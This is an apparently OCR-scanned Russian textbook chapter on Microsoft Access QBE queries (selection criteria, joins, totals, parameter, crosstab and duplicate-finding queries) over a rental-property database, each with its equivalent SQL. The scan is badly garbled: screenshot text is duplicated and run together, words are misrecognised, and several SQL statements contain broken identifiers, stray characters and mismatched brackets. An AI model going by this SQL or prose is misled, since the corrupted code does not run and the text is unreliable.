Выполнение этих запросов сопровождается выводом одного или более заранее
запросы
определенных диалоговых окон, предназначенных для ввода пользователем конкретных значений параметров запроса
Тип запроса
Описание
Запросы на выборку дубликатов
Выполняют поиск дублирующихся записей в пределах единственной таблицы
Запросы на выборку записей, не имеющих соответствия
Работают со связанными таблицами и выполняют поиск записей одной таблицы, не имеющих соответствий в другой
Перекрестные запросы
С их помощью большой объем данных может быть просуммирован и представлен в формате небольшой электронной таблицы
Запросы с автоподстановкой
При выполнении запроса выполняется автоматическая подстановка определенных значений во вновь создаваемые записи
Активные запросы (включающие запросы на удаление, добавление, обновление и создание таблиц)
Позволяют за одну операцию внести изменения во множество записей. Изменения предусматривают удаление, добавление или обновление записей в таблице, а также создание новых таблиц
Специфические SQL- запросы (включающие функции соединения, передачи, определения данных, а также подзапросы)
Этот тип запросов используется для модификации запросов описанных выше типов и для определения свойств форм и отчетов. В этих запросах допускается применять специфические средства языка SQL - например, операции соединения, операторы определения данных и подзапросы (см. главы 13 и 14), а также передаваемые запросы. Передаваемыми запросами называются запросы, содержащие SQL-операторы, пересылаемые в базы данных СУБД SQL Server компаний Microsoft или Sybase
New Query
ВЕЗВЕЗCreate a new query without using a wizard.Create a new query without using a wizard.Simple Query WizardCrosstab Query Wizard Find Duplicates Query Wizard Find Unmatched Query WizardSimple Query WizardCrosstab Query Wizard Find Duplicates Query Wizard Find Unmatched Query WizardПроектирование представлений
ВЕЗ
ВЕЗ
Create a new query without using a wizard.
Create a new query without using a wizard.
Simple Query Wizard
Crosstab Query Wizard Find Duplicates Query Wizard Find Unmatched Query Wizard
Simple Query Wizard
Crosstab Query Wizard Find Duplicates Query Wizard Find Unmatched Query Wizard
Мастера запросов
Рис. 15.2. Диалоговое окно New Query СУБДРис. 15.2. Диалоговое окно New Query СУБДMicrosoft Access
Рис. 15.2. Диалоговое окно New Query СУБД
Рис. 15.2. Диалоговое окно New Query СУБД
Мастера представляют собой один из вариантов вспомогательных программ базы данных. Они задают пользователю ряд вопросов о создаваемом запросе, после чего генерируют его текст на основании полученных ответов. Как видно из рис. 15.2, можно воспользоваться соответствующим мастером для создания простого запроса на выборку, перекрестного запроса и запросов на поиск дубликатов или записей, не имеющих соответствия в некоторой таблице. К сожалению, этим список доступных мастеров исчерпывается, поэтому при создании более сложных запросов на выборку или других типов запросов (параметрических, активных или с автоподстановкой) придется рассчитывать только на свои силы.
Использование QBE для создания запросов на выборку данных
Запросы на выборку данных являются самым распространенным типом запросов. Они предназначены для извлечения данных из одной или более таблиц и отображения полученных результатов в виде сетки с выбранными данными, допускающей обновление содержащихся в ней записей (с некоторыми ограничениями). В сетке с выбранными данными извлеченная из таблицы информация отображается в виде набора столбцов и строк — подобно обычной электронной таблице. Запросы на выборку допускают группирование записей, а также вычисление сумм, счетчиков, средних значений и применение обобщающих функций других типов.
Как уже указывалось в предыдущем разделе, простой оператор выборки может быть создан с помощью мастера простых запросов, который может быть вызван из диалогового окна показанного на рис. 15.2. Однако в этой главе мы рассмотрим пример построения простого запроса в режиме Design View — т.е. начиная с нуля, без помощи каких-либо мастеров.
В начале создания нового запроса к базе данных открывается окно Select Query и на экран выводится диалоговое окно, которое в нашем случае будет содержать список таблиц и запросов, существующих в базе данных DreamHome. В этом окне пользователю необходимо указать таблицы и/или запросы, содержащие интересующие его данные.
Окно Select Query представляет собой графический инструмент языка QBE. Для определения образца интересующих нас записей в графической среде этого окна для выборки, перетаскивания или манипулирования содержащимися в нем объектами можно использовать мышь. Определение полей и записей, которые должны быть включены в результаты запроса, производится в сетке языка QBE.
При создании запроса в сетке конструирования QBE-запроса СУБД Microsoft Access неявно генерирует для него эквивалентный SQL-оператор. Просмотреть и отредактировать этот SQL-оператор можно в окне SQL. Дальше в этой главе эквивалентный SQL-оператор будет приводиться для каждого запроса, созданного в сетке QBE или с помощью соответствующего мастера. Отметим, что многие из приведенных в этой главе SQL-операторов, сгенерированных СУБД Microsoft Access, не отвечают требованием стандарта SQL2, обсуждавшегося в главах 13 и 14.
Задание критериев отбора
Критерием отбора называют ограничения, которые накладываются на результаты выполнения запроса с целью выборки только тех полей или записей данных, которые представляют интерес для пользователя. Например, для извлечения из таблицы Property__for_Rent только столбцов номера объекта (Рпо), города (City), типа объекта (Туре) и суммы арендной платы (Rent) в сетке QBE может быть подготовлен запрос, показанный на рис. 15.3, а. После выполнения этого запроса полученные результаты будут отображены в сетке данных, содержащей только указанные столбцы таблицы Property^orient — как показано на рис. 15.3, б. Текст эквивалентного SQL- оператора для данного запроса показан на рис. 15.3, в.
Обратите внимание, что на рис. 15.3, а показано заполненное окно Select Query со списком полей целевой таблицы (в данном случае — Property_for_Rent), отображенным над сеткой QBE. В некоторых из приведенных ниже примеров будет показана только сетка QBE, поскольку состав полей целевой таблицы можно легко определить по набору полей, помещенному в сетку.
Предположим, что в запрос, показанный на рис. 15.3, а, необходимо добавить новый критерий, который позволит нам выбирать сведения только об объектах недвижимости, расположенных в городе Глазго, т.е. следует определить критерий, который ограничит результирующий набор данных только теми записями, в которых поле City имеет значение 'Glasgow'. Для этого достаточно ввести в сетке QBE указанное значение в ячейку Criteria столбца City.
Список полей таблицы PropertyJor.Rent
(б)
SELECT PROPERTY.FOR_RENT.Pno, PROPERTY.FOR_RENT.City, PROPERTY_FOR.RENT.Type, PROPERTY.FOR.RENTRent FROM PROPERTY FOR RENT;
(в)" ~
Puc. 15.3: а) сетка QBE с запросом на выборку полей Pno, City, Type и Rent из таблицы Property^for^Rent; б) результирующая сетка с данными этого запроса; в) эквивалентный SQL-onepamop запроса
Можно продолжить усложнение условий отбора, вводя дополнительные критерии для того же самого поля или для других полей. Если поместить некоторые выражения в более чем одну ячейку строки Criteria, СУБД Access соединит их, используя логический оператор AND (И) или OR (Или). Если выражения в разных ячейках будут введены в одну и ту же строку сетки QBE, СУБД Access использует для их соединения оператор AND. Это означает, что в результирующий набор будут помещены только те записи, которые отвечают одновременно всем указанным критериям отбора. Если выражения будут помещены в разные строки сетки QBE, СУБД Microsoft Access использует для их соединения логический оператор OR. В этом случае в результирующий набор попадут любые записи, отвечающие хотя бы одному из указанных условий отбора.
"Например, для вывода сведений о расположенных в городе Глазго объектах недвижимости, у которых ежемесячная арендная плата находится в диапазоне от 350 до 450 фунтов стерлингов, достаточно поместить значение 'Glasgow' в ячейку Criteria столбца City и ввести выражение 'Between 350 And 450' в ячейку Criteria столбца Rent. Пример соответствующим образом заполненной сетки QBE приведен на рис. 15.4, а. После вы-
пол нения данного запроса будет выведена сетка данных, содержащая только те записи, которые отвечают указанному критерию — как показано на рис. 15.4, б. Эквивалентный SQL-оператор для данного запроса представлен на рис. 15.4, в.
Сетка QBE
SELECT PROPERTY FOR RENTPno, PROPERTYJOR.RENTCity, PROPERTY FOR RENT.Type, PROPERTYJOR.RENTRent FROM PROPERTY FOR RENT
WHERE (((PROPERTY_FOR_RENTCity)="Glasgow") AND ((PROPERTY FOR RENT.Rent) Between 350 And 450));
(в)
Puc. 15.4: а) сетка QBE с запросом на выборку данных о расположенных в городе Глазго объектах недвижимости, для которых арендная плата установлена в диапазоне от 350 до 450 фунтов стерлингов; б) результирующая сетка с данными этого запроса; в) эквивалентный SQL-onepamop запроса
Предложим, что теперь требуется так изменить данный запрос, чтобы одновременно выбирались и сведения обо всех объектах недвижимости, расположенных в городе Абердин, причем установленный для них размер арендной платы не имеет значения. Для этого достаточно поместить значение 'Aberdeen' в ячейку строки or под ячейкой со значением 'Glasgow' столбца City. Вид сетки QBE с данным расширенным вариантом запроса представлен на рис. 15.5, а. После выполнения этого запроса будет выведена сетка данных, содержащая записи, отвечающие указанному критерию, — она показана на рис. 15.5, б. Эквивалентный SQL-оператор для данного запроса представлен на рис. 15.5, в. Обратите внимание, что в этом случае считаются удовлетворяющими установленному критерию все записи, у которых поле City содержит значение 'Glasgow' и (оператор And) значение в поле Rent расположено в диапазоне от 350 до 450 фунтов стерлингов, или (оператор Or) записи, у которых значение в поле City равно 'Aberdeen'.
При определении значений, которые следует выбирать, могут использоваться символы подстановки или оператор LIKE. В этом случае отбор будет вестись по заданной начальной части значения или по соответствию указанному более сложному шаблону. Например, предположим, что необходимо выбрать сведения об объектах недвижимости, расположенных в городе Глазго, однако написание названия этого города на английском языке вызывает у вас сомнение. В этом случае можно воспользоваться конструкцией с оператором LIKE и поместить в ячейку Criteria столбца City
выражение 'LIKE Glasgo'. В альтернативном варианте для достижения того же самого результата можно использовать символы подстановки и поместить в ту же ячейку значение 'Glasg*', если точное количество букв в названии города нам неизвестно. Символ подстановки (*) указывает местоположение произвольного количества символов. Если мы точно знаем длину требуемого значения, можно ввести в качестве критерия значение 'Glasg??'. Символ подстановки (?) указывает местоположение единственного неизвестного символа.
и Query! : Select Queryи Query! : Select Queryпоэтому они соединяются оператором ORпоэтому они соединяются оператором ORпоэтому они соединяются оператором ANDпоэтому они соединяются оператором ANDVVРпоРпоРАНРАНВыбранные — данныеВыбранные — данныеPG4PG36PG16PG4PG36PG16*Record: к L«j f*Record: к L«j fAberdeen Glasgow Glasgow GlasgowAberdeen Glasgow Glasgow GlasgowТуреHouseFlatFlatFlatТуреHouseFlatFlatFlatRentRent650350375450650350375450Записи, удовлетворяющие критериюЗаписи, удовлетворяющие критерию
и Query! : Select Query
и Query! : Select Query
поэтому они соединяются оператором OR
поэтому они соединяются оператором OR
поэтому они соединяются оператором AND
поэтому они соединяются оператором AND
V
V
Рпо
Рпо
РАН
РАН
Выбранные — данные
Выбранные — данные
PG4
PG36
PG16
PG4
PG36
PG16
*
Record: к L«j f
*
Record: к L«j f
Aberdeen Glasgow Glasgow Glasgow
Aberdeen Glasgow Glasgow Glasgow
Туре
House
Flat
Flat
Flat
Туре
House
Flat
Flat
Flat
Rent
Rent
650
350
375
450
650
350
375
450
Записи, удовлетворяющие критерию
Записи, удовлетворяющие критерию
(6)
SELECT PROPERTY_FOR_RENT.Pno, PROPERTY_FOR_RENT.City, PROPERTY_FOR_RENT.Type, PR0PER7YF0R_RENT.Rent
FROM PROPERTY_FOR_RENT
WHERE (((PROPERTY_FOR_RENT.City)=nGlasgow") AND ((PROPERTY_FOR_RENT.Rent) Between 350 And 450));
OR(((PROPERTY_FOR_RENT.City)="Aberdeen"));
(в)
Puc. 15.5; а) сетка QBE с запросом на выборку данных о расположенных в городе Глазго объектах недвижимости, для которых арендная плата установлена в диапазоне от 350 до 450 фунтов стерлингов, и обо всех объектах в городе Абердин, независимо от размера арендной платы; б) результирующая сетка с данными запроса; в) эквивалентный SQL-onepamop запроса
Создание многотабличных запросов
В корректно нормализованной базе данных связанные данные могут сохраняться сразу в нескольких таблицах. Поэтому очень важно, чтобы при обработке запросов СУБД поддерживала возможность объединения связанной информации, сохраняемой в различных таблицах.
Для того чтобы выбрать необходимые данные сразу из нескольких таблиц, следует подготовить запрос на выборку данных; в окне запроса будут представлены все требуемые таблицы, а критерий отбора будет определен в сетке QBE. Например, для выборки имени и фамилии владельцев объектов недвижимости с указанием учетных номеров принадлежащих им объектов, а также названий городов, в которых эти объекты расположены, следует создать запрос, показанный на рис. 15.6, а. Списки полей целевых таблиц запроса (а именно таблиц Owner и Property_for_Rent) размещены в
окне запроса над сеткой QBE. В результирующую таблицу запроса из таблицы Owner выбираются столбцы FName и LName, а из таблицы Property_for_Rent — столбцы Рпо и City. После выполнения данного запроса будет выведена сетка данных, содержащая записи, отвечающие указанному критерию, — она показана на рис. 15.6, б. Эквивалентный SQL-оператор для данного запроса представлен на рис. 15.6, в.
Поля/столбцы таблицы OwnerПоля/столбцы таблицы Owner(a) Сетка QBE(a) Сетка QBEи? Query!: Select Queryи? Query!: Select Query►►FName | LName |FName | LName |Выбранные— __ данные _Выбранные— __ данные _Joe Carol Carol TonyJoe Carol Carol Tony(б)(б)TonyRecord: К I * IГTonyRecord: К I * IГMurphy Keogh Parrel Parrel Shaw ShawMurphy Keogh Parrel Parrel Shaw ShawPnoPG4PA14PL94PG21PG36PG16PnoPG4PA14PL94PG21PG36PG16Поля/столбцы таблицыProperty_for_RentПоля/столбцы таблицыProperty_for_RentI aty Glasgow Aberdeen London Glasgow Glasgow GlasgowI aty Glasgow Aberdeen London Glasgow Glasgow Glasgow
Поля/столбцы таблицы Owner
Поля/столбцы таблицы Owner
(a) Сетка QBE
(a) Сетка QBE
и? Query!: Select Query
и? Query!: Select Query
►
►
FName | LName |
FName | LName |
Выбранные— __ данные _
Выбранные— __ данные _
Joe Carol Carol Tony
Joe Carol Carol Tony
(б)
(б)
Tony
Record: К I * IГ
Tony
Record: К I * IГ
Murphy Keogh Parrel Parrel Shaw Shaw
Murphy Keogh Parrel Parrel Shaw Shaw
Pno
PG4
PA14
PL94
PG21
PG36
PG16
Pno
PG4
PA14
PL94
PG21
PG36
PG16
Поля/столбцы таблицы
Property_for_Rent
Поля/столбцы таблицы
Property_for_Rent
I aty Glasgow Aberdeen London Glasgow Glasgow Glasgow
I aty Glasgow Aberdeen London Glasgow Glasgow Glasgow
SELECT OWNER. FName, OWNER.LName,
PROPERTY_FOR_RENT.Pno, PROPERTYJOR^RENT.City
FROM OWNER INNER JOIN PROPERTY_FOR_RENT ON
OWNER.Ono = PROPERTY FOR RENT.Ono;
(в)
Puc. 15.6: а) сетка QBE с многотабличным запросом, предназначенным для выборки имен и фамилий владельцев объектов недвижимости с указанием учетных номеров принадлежащих им объектов и названий городов, в которых эти объекты расположены; б) результирующая сетка с данными запроса; в) эквивалентный SQL-оператор запроса
Многотабличный запрос, показанный на рис. 15.6, является примером запроса с внутренним (естественным) соединением, которое подробно обсуждалось в разделах 3.4.1 и 13.3.7.
Если в окно запроса помещается больше одной целевой таблицы, следует убедиться, что списки их полей связаны между собой линиями соединения — т.е. СУБД Microsoft Access знает, как соединить таблицы друг с другом. Обратите внимание, что на рис. 15.6, а СУБД Access поместила над верхней частью линии соединения символ 1, указывающий на единичную сторону связи типа “один ко многим”. Над нижней частью линии соединения помещен символ *>, отмечающий множественную сторону этой же связи. Это означает, что в нашем примере один владелец может владеть многими объектами недвижимости, сдаваемыми в аренду.
Если СУБД Access не выполнила соединение таблиц автоматически или если между данными таблицами еще не была описана какая-либо связь, то таблицы в окне запроса не будут связаны линией соединения. Возможность выборки связанных данных из двух таблиц сохраняется, но потребуется указать способ соединения этих таблиц непосредственно при создании запроса в окне сетки QBE. Однако, для того чтобы две таблицы можно было соединить непосредственно в запросе, в обеих таблицах должны существовать связанные поля. В примере, показанном на рис. 15.6, поле Опо (Личный номер владельца) является общим для обеих таблиц — Owner и Proper ty_for_Rent. Для того чтобы соединение работало корректно, оба столбца должны содержать одинаковые значения в связанных записях данных. Следует отметить, что линия соединения имеет свойства, которым можно присваивать значения или которые можно изменять. Подробнее об этом речь шла выше, в разделе 12.2.
Запросы с обобщением
Достаточно часто появляется необходимость обобщения той или иной группы данных. Например, сколько сдаваемых в аренду объектов имеется в каждом из городов? Чему равна средняя заработная плата работников компании? Сколько раз осматривался каждый из сдаваемый в аренду объектов с начала текущего года?
Операцию обобщающих вычислений над группой записей можно выполнить с помощью запросов с подведением итогов (иногда их называют обобщающими запросами). СУБД Microsoft Access позволяет производить различные типы итоговых вычислений, включая функции суммирования (Sum), вычисления среднего значения (Avg), поиска минимального (Min) или максимального (Мах) значения, а также подсчета экземпляров (Count). Чтобы получить доступ к этим функциям, следует изменить тип запроса на Totals, в результате чего в сетке QBE будет отображена дополнительная строка с названием Total. После выполнения обобщающего запроса отображается таблица, содержащая моментальный снимок состояния данных — набор строк, который не допускает внесения изменений.
Как и в случае запросов других типов, в запросе с подведением итогов может быть указан некоторый критерий отбора записей. Например, предположим, что требуется определить общее количество объектов недвижимости, сдаваемых в аренду в каждом из городов. Для этого необходимо сначала сгруппировать данные об объектах по значению поля City, для чего используется функция Group By, после чего выполнить для каждой группы вычисление итогового значения с помощью функции Count. Общий вид сетки QBE с подобным запросом показан на рис. 15.7, а, а результирующая сетка данных представлена на рис. 15.7, б. На рис. 15.7, в показан эквивалентный SQL-оператор данного запроса.
SELECT PROPERTY FOR RENTCity, Count(PROPERTY FOR RENT.Pno)ASCountOfPno FROM PROPERTY FOR RENT GROUP BY PROPERTY„FOR.RENT.City;
(9)
Puc. 15.7: а) сетка QBE с обобщающим запросом, предназначенным для определения количества объектов недвижимости, сдаваемых в аренду в каждом из городов; б) результирующая сетка данных этого запроса; в) эквивалентный SQL-onepamop запроса
Для выполнения некоторых вычислений может потребоваться подготовить собственное выражение. Например, предположим, что требуется вычислить сумму годовой арендной платы для каждого из объектов недвижимости, сведения о котором имеются в таблице Property_for_Rent, с указанием значений номера объекта (Рпо), города (City) и типа объекта (Туре). Сумма годовой арендной платы для каждого из объектов вычисляется посредством умножения суммы месячной арендной платы на количество месяцев в году. Для проведения этих вычислений в отдельный столбец сетки QBE следует поместить выражение 1 Yearly Rent: [Rent]*12', как показано на рис. 15.8, а. В этом выражении часть 1 Yearly Rent:' представляет собой имя нового столбца, а оставшаяся часть — '[Rent]*12' — задает формулу вычисления помещаемых в него значений как произведение значения поля Rent каждой записи на число 12. Результирующая сетка данных запроса показана на рис. 15.8, б. На рис, 15.8, в представлен эквивалентный SQL-оператор этого запроса.
Выражения для создания нового поля с именем Yearly Rent и вычисления
(б)
SELECT PROPERTY FOR.RENT.Pno, PROPERTY_FOR.RENT.City, PROPERTY.FOR.RENTType, [Rent]*12 AS [Yearly Rent] FROM PROPERTY.FOR.RENT;
(в)
Puc. 15.8: а) сетка QBE с запросом на выборку, предусматривающим вычисление суммы годовой арендной платы для каждого сдаваемого в аренду объекта недвижимости; б) результирующая сетка данных этого запроса; в) эквивалентный SQL-onepamop запроса
Более сложные типы QBE-запросов
Параметрические запросы
Параметрические запросы позволяют вывести одно или более заранее определенных диалоговых окон, предназначенных для ввода пользователем конкретных значений параметров запроса (критериев). Параметрические запросы создаются посредством ввода в ячейку Criteria текста обращения к пользователю, помещенного квадратные скобки. Эти действия выполняются для каждого столбца, значение которого должно указываться в качестве параметра. Например, предположим, что требуется так доработать запрос, показанный на рис. 15.6, а, чтобы пользователь мог ввести имя и фамилию владельца объектов недвижимости, для которого необходимо выбрать сведения о принадлежащих ему объектах. Сетка QBE с подобным параметрическим запросом представлена на рис. 15.9, а. Для выборки сведений об объектах недвижимости, принадлежащих владельцу с именем 'Carol Farrel', необходимо ввести соответствующие значения имени и фамилии владельца в первое и второе диалоговые окна, показанные на рис. 15.9, б. Содержимое полученной в результате выполнения данного запроса сетки данных представлено на рис. 15.9, в, а эквивалентный SQL-оператор запроса — на рис. 15.9, г.
значения поля FNameзначения поля FNameзначения поля LNameзначения поля LNameххI Enter Parameter ValueI Enter Parameter ValueI Enter Parameter ValueI Enter Parameter ValueEnter Owner's First NameEnter Owner's First NameCanoCanoEnter Owner’s Last Name (parrel*Enter Owner’s Last Name (parrel*(6)(6)8? Query!: Select Query8? Query!: Select QueryB0BB0BFName |LName] Pno | City [FName |LName] Pno | City [Cancel |Cancel |(в)(в)Carol*Carol*FarrelParrelFarrelParrelPL94PG21PL94PG21LondonGlasgowLondonGlasgowЗаписи, удовлетворяющие введенному критериюЗаписи, удовлетворяющие введенному критериюRecord: i<b ifRecord: i<b if
значения поля FName
значения поля FName
значения поля LName
значения поля LName
х
х
I Enter Parameter Value
I Enter Parameter Value
I Enter Parameter Value
I Enter Parameter Value
Enter Owner's First Name
Enter Owner's First Name
Cano
Cano
Enter Owner’s Last Name (parrel*
Enter Owner’s Last Name (parrel*
(6)
(6)
8? Query!: Select Query
8? Query!: Select Query
B0B
B0B
FName |LName] Pno | City [
FName |LName] Pno | City [
Cancel |
Cancel |
(в)
(в)
Carol
*
Carol
*
Farrel
Parrel
Farrel
Parrel
PL94
PG21
PL94
PG21
London
Glasgow
London
Glasgow
Записи, удовлетворяющие введенному критерию
Записи, удовлетворяющие введенному критерию
Record: i<b if
Record: i<b if
SELECT OWNER.FName, OWNER.LName, PROPERTY FOR RENT.Pno, PROPERTY_FOR RENTCity
FROM OWNER INNER JOIN PROPERTY FOR RENT ON OWNER.Ono =
PROPERTY_FOR_RENT.Ono
WHERE (((OWNER.FName)=[Enter Owner's First Name)) AND ((OWNER. LName)=[Enter owner's Last name]));
(r)
Puc. 15.9: а) сетка QBE с определением параметрического запроса: б) диалоговые окна для ввода значений имени и фамилии владельца объектов недвижимости; в) сетка с данными, выбранными в результате выполнения запроса; г) эквивалентный SQL-onepamop запроса
Перекрестные запросы
Перекрестные запросы могут использоваться для обобщения обрабатываемых данных и отображения их в формате компактной электронной таблицы. Этот формат позволяет более наглядно представить большой объем данных с целью выявления существующих тенденций и проведения сравнительного анализа. Результирующая сетка перекрестного запроса представляет собой моментальный снимок состояния данных и не позволяет выполнять их обновление.
Для создания перекрестных запросов можно воспользоваться мастером CrossTab Query Wizard или же определить его собственными силами в сетке QBE. Создание перекрестного запроса напоминает создание запросов с подведением итогов, однако теперь дополнительно потребуется указать поля, которые будут использоваться как заголовки столбцов и строк, а также поля, содержащие исходные значения данных.
Например, предположим, что для каждого работника компании необходимо определить количество объектов недвижимости, расположенных в каждом из районов города Глазго, за которые он отвечает. Для повышения наглядности результатов выполнения данного запроса мы поместили в таблицу Property_for_Rent несколько новых записей об объектах недвижимости. При подготовке данного запроса прежде всего следует создать запрос с подведением итогов, показанный на рис. 15.10, а. В результате его выполнения будет получена сетка данных, представленная на рис. 15.10, б; эквивалентный SQL-оператор этого запроса показан на рис. 15.10, в. Однако формат представления результатов запроса неудобен для проведения сравнительного анализа данных по каждому из работников. Обратите внимание, что на рис. 15.10, а флажок опции в ячейке Show столбца City не установлен, поэтому данный столбец отсутствует в сетке с результатами запроса, представленной на рис. 15.10, б.
Выражение для переименования Флажок отображенияВыражение для переименования Флажок отображенияField: Table. Total;Sort; Show. Criteria;Of:Field: Table. Total;Sort; Show. Criteria;Of:Подсчет по полю Рпо, переименованному в поле Total /Подсчет по полю Рпо, переименованному в поле Total /Критерий отбора сдаваемых в аренду объектов—только в ГлазгоКритерий отбора сдаваемых в аренду объектов—только в Глазго(3)(3)EEГруппировка no выбранным полямГруппировка no выбранным полям► МПBeechBearsdenAnnBeechCity Centre12tAnnBeechHyndland36^AnnBeechPartickhi:AnnBeechPollockshaws6i:DavidFordBearsden5^DavidFordCity Centre!9j.DavidFordHyndlandDavidFordPattick22 ГDavidFordPollockshaws2 8► МПBeechBearsdenAnnBeechCity Centre12tAnnBeechHyndland36^AnnBeechPartickhi:AnnBeechPollockshaws6i:DavidFordBearsden5^DavidFordCity Centre!9j.DavidFordHyndlandDavidFordPattick22 ГDavidFordPollockshaws2 8FNameFNameLNameLNameTotalTotalAreaArea«SC«SC•* Uuciyl S'led Queiy•* Uuciyl S'led Queiy
Выражение для переименования Флажок отображения
Выражение для переименования Флажок отображения
Field: Table. Total;
Sort; Show. Criteria;
Of:
Field: Table. Total;
Sort; Show. Criteria;
Of:
Подсчет по полю Рпо, переименованному в поле Total /
Подсчет по полю Рпо, переименованному в поле Total /
Критерий отбора сдаваемых в аренду объектов—только в Глазго
Критерий отбора сдаваемых в аренду объектов—только в Глазго
(3)
(3)
E
E
Группировка no выбранным полям
Группировка no выбранным полям
► МП
Beech
Bearsden
Ann
Beech
City Centre
12t
Ann
Beech
Hyndland
36^
Ann
Beech
Partick
hi:
Ann
Beech
Pollockshaws
6i:
David
Ford
Bearsden
5^
David
Ford
City Centre
!9j.
David
Ford
Hyndland
David
Ford
Pattick
22 Г
David
Ford
Pollockshaws
2 8
► МП
Beech
Bearsden
Ann
Beech
City Centre
12t
Ann
Beech
Hyndland
36^
Ann
Beech
Partick
hi:
Ann
Beech
Pollockshaws
6i:
David
Ford
Bearsden
5^
David
Ford
City Centre
!9j.
David
Ford
Hyndland
David
Ford
Pattick
22 Г
David
Ford
Pollockshaws
2 8
FName
FName
LName
LName
Total
Total
Area
Area
«SC
«SC
•* Uuciyl S'led Queiy
•* Uuciyl S'led Queiy
(6)
SELECT STAFF.FName, STAFF.LName, PROPERTY FOR RENTArea, Count(PROPERTY FOR RENT. Pno) AS Total
FROM STAFF INNER JOIN PROPERTY FOR RENT ON STAFF.Sno = PROPERTY FOR_RENT.Sno
WHERE (((PROPERTY FOR_RENT.City)="Glasgow"))
GROUPBYSTAFF.FName, STAFF.LName, PROPERTY FOR RENTArea, PROPERTY_FOR.RENT.City;
(в)
Puc. 15.10: а) сетка QBE, содержащая пример запроса с подведением итогов; б)результирующая сетка данных запроса; в) эквивалентный SQL-оператор запроса
Для преобразования запроса на выборку данных в перекрестный запрос следует изменить тип запроса на Crosstab, в результате чего в сетку QBE будет помещена дополнительная строка Crosstab. Теперь у нас появилась возможность указать поля, значения которых будут использоваться как заголовки столбцов и строк или же как исходные данные для суммирования. Модифицированный вариант исходного запроса показан на рис. 15.11, а. После выполнения новой версии запроса сетка с результатами будет более компактной — как показано на рис. 15.11, б. Ее формат позволяет легко проводить сравнительный анализ показателей отдельных сотрудников компании. Текст эквивалентного SQL-оператора запроса показан на рис. 15.11, в.
Поле Value предоставляет значения для столбцов
(а)(а)^ :<:УЕЫс1:: ТаЫе: ь : Jou* Ctoistab tow: Sort: .' ’ - • Criteria:^ :<:УЕЫс1:: ТаЫе: ь : Jou* Ctoistab tow: Sort: .' ’ - • Criteria:FName STAFF Group By Row HeadingFName STAFF Group By Row HeadingLName STAFF Group By Row HeadingLName STAFF Group By Row HeadingPROPERTY FORGroup ByColumn HeadingPROPERTY FORGroup ByColumn HeadingTotal Pno PROPERTY FOR CountValueTotal Pno PROPERTY FOR CountValueCityPROPERTY FORGroup ByCityPROPERTY FORGroup ByflflПоля/столбцы Row HeadingПоля/столбцы Row Heading"Glasgow""Glasgow"4? Query! . Crosstab Query4? Query! . Crosstab QueryПоля/столбцыКритерий отбора сдаваемыхColumn Headingв аренду объектов - только~в ГлазгоПоля/столбцыКритерий отбора сдаваемыхColumn Headingв аренду объектов - только~в ГлазгоВВЕЗВВЕЗFName | LName | Bearsden I City Centre | Hyndland | Partick| Pollockshawl11FName | LName | Bearsden I City Centre | Hyndland | Partick| Pollockshawl110-1 vid0-1 vidRecord; К I ■ |Г(6)Record; К I ■ |Г(6)BeechFordI ИЬ "I of 2BeechFordI ИЬ "I of 2121912193612361214221422бМя!бМя!
(а)
(а)
^ :<:УЕЫс1:
: ТаЫе: ь : Jou* Ctoistab tow: Sort: .' ’ - • Criteria:
^ :<:УЕЫс1:
: ТаЫе: ь : Jou* Ctoistab tow: Sort: .' ’ - • Criteria:
FName STAFF Group By Row Heading
FName STAFF Group By Row Heading
LName STAFF Group By Row Heading
LName STAFF Group By Row Heading
PROPERTY FOR
Group By
Column Heading
PROPERTY FOR
Group By
Column Heading
Total Pno PROPERTY FOR Count
Value
Total Pno PROPERTY FOR Count
Value
City
PROPERTY FOR
Group By
City
PROPERTY FOR
Group By
fl
fl
Поля/столбцы Row Heading
Поля/столбцы Row Heading
"Glasgow"
"Glasgow"
4? Query! . Crosstab Query
4? Query! . Crosstab Query
Поля/столбцыКритерий отбора сдаваемых
Column Headingв аренду объектов - только
~в Глазго
Поля/столбцыКритерий отбора сдаваемых
Column Headingв аренду объектов - только
~в Глазго
ВВЕЗ
ВВЕЗ
FName | LName | Bearsden I City Centre | Hyndland | Partick| Pollockshawl11
FName | LName | Bearsden I City Centre | Hyndland | Partick| Pollockshawl11
0-1 vid
0-1 vid
Record; К I ■ |Г
(6)
Record; К I ■ |Г
(6)
Beech
Ford
I ИЬ "I of 2
Beech
Ford
I ИЬ "I of 2
12
19
12
19
36
12
36
12
14
22
14
22
бМ
я!
бМ
я!
TRANSFORM Count(PROPERTY_FOR_RENT.Pno) AS Total
SELECT STAFEFName, STAFFLName
FROM STAFF INNER JOIN PROPERTY.FOR.RENT ON STAFFSno = PROPERTY FOR RENT.Sno
WHERE (({PROPERTY_FOR_RENT.City)=”Glasgow"))
GROUP BY STAFEFName, STAFFLName, PROPERTY.FOR_RENT.City
PIVOT PROPERTY.FOR_RENT.Area;
(в)
Puc. 15.11: а) сетка QBE с примером перекрестного запроса: б) результирующая сетка данных запроса; в) эквивалентный SQL-onepamop запроса
Запросы на выборку дубликатов
По результатам запроса типа Find Duplicates (Поиск дубликатов) можно сделать заключение о наличии в таблице дублирующихся записей, а также определить, какие записи таблицы содержат одно и то же значение в некотором столбце. Например, можно выполнить поиск дублирующихся значений в поле адреса, что позволит определить наличие в базе нескольких записей об одном и том же владельце объектов недвижимости. В то же время можно выполнить поиск дублирующихся значений в поле City, что позволит получить сведения о владельцах недвижимости, проживающих в одном и том же городе.
Предположим, что в какой-то момент непреднамеренно была повторно создана запись о владельце объектов недвижимости по имени 1 Carol Parrel', причем этой записи был присвоен собственный уникальный номер владельца. В результате в базе данных появилось две записи с различными уникальными номерами владельца, описывающие одного и того же человека. Для выявления подобной ситуации можно
воспользоваться запросом на выборку дубликатов, созданным с помощью мастера Find Duplicates Query Wizard, доступ к которому можно получить в диалоговом окне, показанном на рис. 15.2. В этом запросе отбор записей будет вестись по совпадающим значениям в указанных полях (в нашем примере мы для простоты ограничимся полями FName и LName). Как уже упоминалось выше, мастер создает запрос на основе ответов, предоставленных пользователем на заданные этим мастером вопросы. Прежде чем запустить вновь созданный запрос, имеет смысл посмотреть на сетку QBE с данным запросом на выборку дублирующихся значений, показанную на рис. 15.12, а. Результирующая сетка данных запроса, содержащая две строки о владельце по имени 'Carol Farrel', представлена на рис. 15.12, б, а текст эквивалентного SQL-оператора — на рис. 15.12, в. Обратите внимание, что в последнем случае SQL-оператор отображен полностью, включая и вложенный SQL-оператор SELECT, который в строке Criteria столбца FName сетки QBE показан лишь частично.
